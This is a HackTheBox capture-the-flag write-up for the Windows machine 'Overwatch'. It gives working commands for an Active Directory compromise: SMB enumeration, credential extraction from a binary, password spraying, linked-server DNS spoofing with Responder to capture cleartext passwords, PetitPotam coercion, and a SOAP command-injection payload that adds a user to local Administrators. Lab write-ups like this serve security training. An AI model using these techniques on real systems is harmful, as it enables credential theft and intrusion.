

HackTheBox — Overwatch Writeup

Author: atrox

Difficulty: Medium

OS: Windows

Tags: Active Directory, WCF, MSSQL, PetitPotam, Unconstrained Delegation, SOAP Injection

Overview

Overwatch is a Windows Active Directory machine that chains together several attack techniques: SMB enumeration leading to credential discovery in a .NET binary, SQL linked-server abuse to capture cleartext credentials via Responder, a foothold via WinRM, and finally privilege escalation through a vulnerable WCF SOAP service running as SYSTEM.

Reconnaissance

Nmap

```
nmap -sV 10.129.16.26 -vvv
```

Key open ports:

Port	Service
53	DNS
88	Kerberos
135	MSRPC
389	LDAP (Domain: overwatch.htb)
445	SMB
3389	RDP
3268	LDAP Global Catalog

The LDAP banner reveals the domain: **overwatch.htb** / host: **S200401**.

Add to `/etc/hosts` :

```
10.129.16.26 overwatch.htb
```

Enumeration

SMB — Anonymous Access

```
crackmapexec smb 10.129.16.26 -u guest -p '' --shares
```

Accessible shares:

- `IPC$` — READ
- `software$` — READ 

Exploring the `software$` Share

```
smbclient //10.129.16.26/software$ -U guest%
```

Inside `\Monitoring\` there's a .NET application: **overwatch.exe**, along with its config file and PDB.

```
get overwatch.exe.config
get overwatch.exe
get overwatch.pdb
```

WCF Service Discovery

The config file reveals a WCF service:

```
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
```

Port 8000 is filtered externally — the service is only accessible from within the machine.

Credentials in the Binary

Running `strings` against `overwatch.exe` reveals a hardcoded SQL connection string:

```
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
```

Credentials found:

- **sqlsvc : TI0LKcfHzZw1Vv**

User Enumeration with Kerbrute

```
./kerbrute userenum --dc 10.129.16.26 -d overwatch.htb users.txt
```

Valid usernames discovered:

- guest
- administrator
- sqlsvc
- S200401

Password Spray

```
crackmapexec smb 10.129.16.26 -u users.txt -p 'Overwatch2026!'
```

Confirmed:

- **svc_monitor : Overwatch2026!**
- **sqlsvc : TI0LKcfHzZw1Vv** ✓

Lateral Movement — Linked Server Credential Capture

Connecting to MSSQL as sqlsvc :

```
impacket-mssqlclient -windows-auth -port 6520 \  
'overwatch.htb/sqlsvc:TI0LKcfHzZw1Vv@10.129.17.170'
```

A linked server named **SQL07** was configured. By querying it:

```
EXEC('SELECT * FROM OPENQUERY(SQL07, 'SELECT 1')');
```

The SQL Server authenticates to SQL07 (our DNS-spoofed host). With **Responder** listening:

```
sudo responder -I tun0 -v
```

And a fake DNS record pointing SQL07 to our Kali IP (via `dnstool.py` from krbrelayx):

```
python3 dnstool.py \  
  -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \  
  -dns-ip 10.129.17.170 --zone overwatch.htb \  
  -r SQL07 -a add -t A -d 10.10.17.66 \  
  10.129.17.170
```

Responder captures **cleartext credentials**:

```
[MSSQL] Cleartext Username : sqlmgmt  
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
```

Credentials found:

- **sqlmgmt : blhBbzMMnB82yx**

Initial Foothold — WinRM as sqlmgmt

```
evil-winrm -i 10.129.17.170 -u sqlmgmt -p 'bIhBbzMMnB82yx'
```

```
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> cat user.txt  
f1bace098dfaaeabb7d56bd1243a5b83
```

► **User flag captured.**

Bonus: PetitPotam + Responder (Machine Account Hash)

While exploring privilege escalation paths, BloodHound revealed that the DC (S200401) has **Unconstrained Delegation** enabled.

Using PetitPotam to coerce DC authentication to our listener:

```
python3 PetitPotam.py \  
  -u sqlsvc -p 'TI0LKcfHzZw1Vv' -d overwatch.htb \  
  10.129.17.170
```

10.10.17.66 10.129.17.170

Responder captures the DC machine account NTLMv2 hash (S200401\$), confirming the coercion path — useful for relay attacks or further escalation.

Privilege Escalation — WCF SOAP Injection

From the initial config file, we know the WCF service exposes a `KillProcess` method. Accessible internally from our WinRM session, we send a crafted SOAP request with a command injection payload in the `processName` parameter:

```
iwr http://overwatch.htb:8000/MonitorService `
  -UseBasicParsing -Method POST `
  -Headers @{
    "Content-Type" = "text/xml; charset=utf-8"
    "SOAPAction"   = '"http://tempuri.org/IMonitoringService/KillProcess"'
  } `
  -Body "<s:Envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/'>
    <s:Body>
      <KillProcess xmlns='http://tempuri.org/'>
        <processName>notepad; net localgroup Administrators sqlmgmt
/add</processName>
      </KillProcess>
    </s:Body>
  </s:Envelope>"
```

Verifying the result:

```
net localgroup Administrators
```

Members

Administrator

Domain Admins

Enterprise Admins

sqlmgmt 

sqlmgmt is now a local Administrator. From here, a new Evil-WinRM session gives full access to the Administrator's desktop and the root flag.

Attack Chain Summary

SMB anonymous access

↓

WCF config → SQL connection string → sqlsvc creds

↓

MSSQL linked server (SQL07) + DNS spoof + Responder

↓

Cleartext creds: sqlmgmt

↓

WinRM foothold → user.txt

↓

WCF SOAP injection (KillProcess)

↓

Local Admin → root.txt

Tools Used

- nmap , crackmapexec , kerbrute
 - smbclient , impacket suite
 - bloodhound-python , BloodHound
 - evil-winrm , responder
 - PetitPotam , krbrelayx/dnstool.py
 - strings , impacket-mssqlclient
- **